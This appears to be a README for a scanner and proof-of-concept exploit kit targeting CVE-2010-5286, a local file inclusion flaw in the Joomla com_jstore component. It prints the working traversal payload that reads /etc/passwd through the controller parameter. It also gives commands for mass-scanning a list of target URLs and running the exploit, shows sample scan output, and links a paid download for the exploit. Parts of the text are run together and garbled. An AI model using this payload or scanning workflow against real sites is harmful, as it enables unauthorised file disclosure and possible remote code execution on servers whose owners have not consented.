
Scanner and proof-of-concept exploit for CVE-2010-5286, a Joomla com_jstore controller parameter directory traversal enabling local file inclusion and RCE.
Joomla! Component Jstore - 'Controller' Local File Inclusion
| field | value |
|---|---|
| CVE | CVE-2010-5286 |
| severity | critical |
| CVSS | 10 (CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C) |
| fixed in | no vendor build number published; controller dispatch hardened in Joomla 1.7 (JController uses the cmd filter), com_jstore removed afterwards |
| class | local file inclusion / directory traversal (CWE-22) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RR9
The bundled Joomla 1.5-era com_jstore component (Joobi store) hands the
raw controller query-string value straight to its JController
dispatch, which performs require_once($path . '/' . $name . '.php')
without sanitisation. One request is enough: the template
(http/cves/2010/CVE-2010-5286.yaml, max-request: 1) sends
GET /index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00
and the null byte truncates the appended .php suffix, so the raw
/etc/passwd text lands in the response body. The two AND-matchers are
status_code == 200 and the regex root:.*:0:0:.
A directory traversal vulnerability in Jstore (com_jstore) component for
Joomla! allows remote attackers to read arbitrary files and possibly have
unspecified other impacts via a .. (dot dot) in the controller
parameter to index.php. In the 1.5 component layout the front-end
components/com_jstore/jstore.php delegates to the administrator entry
point, which resolves the controller class file from the unsanitised
request parameter; the traversal sequences walk out of the component
directory and the trailing %00 cuts the hard-coded .php extension.
The NVD record carries CVSS v2 base score 10.0 (complete confidentiality,
integrity and availability impact, no authentication), CWE-22, and no
vendor version range (affected = n/a); EPSS is 0.12142. The template
impact line states that arbitrary file inclusion leads to remote code
execution (e.g. the .php-terminated includes of the template system).
Remediation per the template: upgrade to the latest Joomla release; in
1.7 the shared JController::getInstance() cleans the command with
JFilterInput->clean($command, 'cmd') and builds the filename through
createFileName(), which is what neutralises the traversal.
http/cves/2010/CVE-2010-5286.yaml); no JavaScript is executed and
the template request budget of 1 is the authoritative verdict.GET {base}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00.status == 200 and
re.search("root:.*:0:0:", body) - exactly the two template items,
no extras.passwd_inclusion detail block records status, content-type, the
regex, the hit flag and a 200-char snippet of the body for triage.urls.txt (tagger output such as
host:8080/path) are auto-prefixed with http://; a 12-char md5
token fingerprints the per-row details.check(url) returns (True, details) only when both matchers hold;
every request retries 2 attempts with linear backoff and HTTPError
bodies are read rather than treated as transport failures.# scanner: streamed CSV + optional JSON sidecar
python scanner/CVE-2010-5286/scanner.py urls.txt 8 CVE-2010-5286.csv --json CVE-2010-5286.json
# exploit: result dict + optional CSV/JSON dumps
python exploit/CVE-2010-5286/exploit.py http://target/ --csv CVE-2010-5286.csv --json CVE-2010-5286.json --verbose
urls.txt is a plain file, one target per line, # for comments.
RCE POC SUITE
scanner : CVE-2010-5286 v1.0.0
threads : 8 | csv: CVE-2010-5286.csv | json: CVE-2010-5286.json
RCE POC SUITE
[2026-12-03 10:00:01] loaded 2 target(s) from urls.txt
[2026-12-03 10:00:02] [1/2] http://joomla15a:8080 -> VULNERABLE
[2026-12-03 10:00:02] [2/2] http://joomla15b:8080 -> not-vuln
[2026-12-03 10:00:02] summary: total=2 vulnerable=1 not-vuln=1 errors=0
[2026-12-03 10:00:02] timing : avg=182ms max=210ms wall=0.42s
[2026-12-03 10:00:02] report saved: CVE-2010-5286.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | 12-char md5 over the row details |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2010-5286/exploit.py - two-request POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored |